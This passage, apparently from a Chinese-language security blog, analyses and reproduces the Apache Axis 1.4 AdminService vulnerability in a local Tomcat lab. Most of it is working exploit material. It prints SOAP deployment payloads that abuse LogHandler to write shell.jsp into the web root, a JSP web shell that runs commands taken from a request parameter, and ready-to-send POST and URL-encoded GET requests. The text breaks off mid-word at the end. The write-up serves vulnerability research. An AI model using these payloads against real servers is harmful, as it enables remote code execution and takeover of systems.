Java安全之Axis漏洞分析
0x00 前言
看到个别代码常出现里面有一些Axis组件,没去仔细研究过该漏洞。研究记录一下。
0x01 漏洞复现
漏洞版本:axis=<1.4
下载Axis包1.4版本将Axis放到tomcat的webapp目录中。 freemarker.jar
放到Axis的 lib目录下。运行tomcat即可。
WEB-INF/web.xml
中将该配置取消注释
<servlet-mapping> <servlet-name>AdminServlet</servlet-name> <url-pattern>/servlet/AdminServlet</url-pattern> </servlet-mapping>
原创复现需要将 /WEB-INF
下面的 server-config.wsdd
文件中的内容进行编辑一下
<service name="AdminService" provider="java:MSG"> <parameter name="allowedMethods" value="AdminService"/> <parameter name="enableRemoteAdmin" value="true"/> <parameter name="className" value="org.apache.axis.utils.Admin"/> <namespace>http://xml.apache.org/axis/wsdd/</namespace> </service>
enableRemoteAdmin
的值改成true运行远程调用。
server-config.wsdd
文件会在远程机器访问 /servlet/AdminServlet
路由时候进行创建。
接下来对该接口进行发送payload测试
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="RandomService" provider="java:RPC"> <requestFlow> <handler type="RandomLog"/> </requestFlow> <ns1:parameter name="className" value="java.util.Random"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" /> <parameter name="LogHandler.writeToConsole" value="false" /> </handler> </ns1:deployment> </soapenv:Body> </soapenv:Envelope>
爆了一个 ns1:Client.NoSOAPAction
错误。
看了一下 AdminServlet
的代码,发现 dopost
方法里面调用的 getSoapAction
这个判断逻辑貌似有点问题
上面 req.getHeader("SOAPAction");
获取header里面 SOAPAction
的值,如果为空则取 Content-Type
里面的action。都为空则直接返回,来到下面这段逻辑。
if (soapAction == null) { AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null); exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af); throw af; }
这里只需要header加入 SOAPAction
参数,填充任意值,让服务端获取到不为空,能解决了这个问题。
使用上面payload,创建好恶意的service后,下面来调用一下恶意的service。
/axis/services/RandomService
payload:
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <api:in0><![CDATA[ <%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%> ]]> </api:in0> </api:main> </soapenv:Body> </soapenv:Envelope>
文件写入成功
重新打开 server-config.wsdd
文件发现内容已经发生了变化
payload整理
org.apache.axis.handlers.LogHandler
POST请求:
POST /axis/services/AdminService HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 777 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" > <soap:Body> <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> <service name="randomAAA" provider="java:RPC"> <requestFlow> <handler type="java:org.apache.axis.handlers.LogHandler" > <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" /> <parameter name="LogHandler.writeToConsole" value="false" /> </handler> </requestFlow> <parameter name="className" value="java.util.Random" /> <parameter name="allowedMethods" value="*" /> </service> </deployment> </soap:Body> </soap:Envelope>
GET请求:
GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Axis/1.4 Cache-Control: no-cache Pragma: no-cache
调用service:
POST /axis/services/randomBBB HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 700 <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java"> <soapenv:Header/> <soapenv:Body> <util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[ <% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %> ]]></in0> <in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1> </util:ints> </soapenv:Body> </soapenv:Envelope>
该方式写文件需要解析,遇到Springboot就凉凉。
org.apache.axis.client.Serv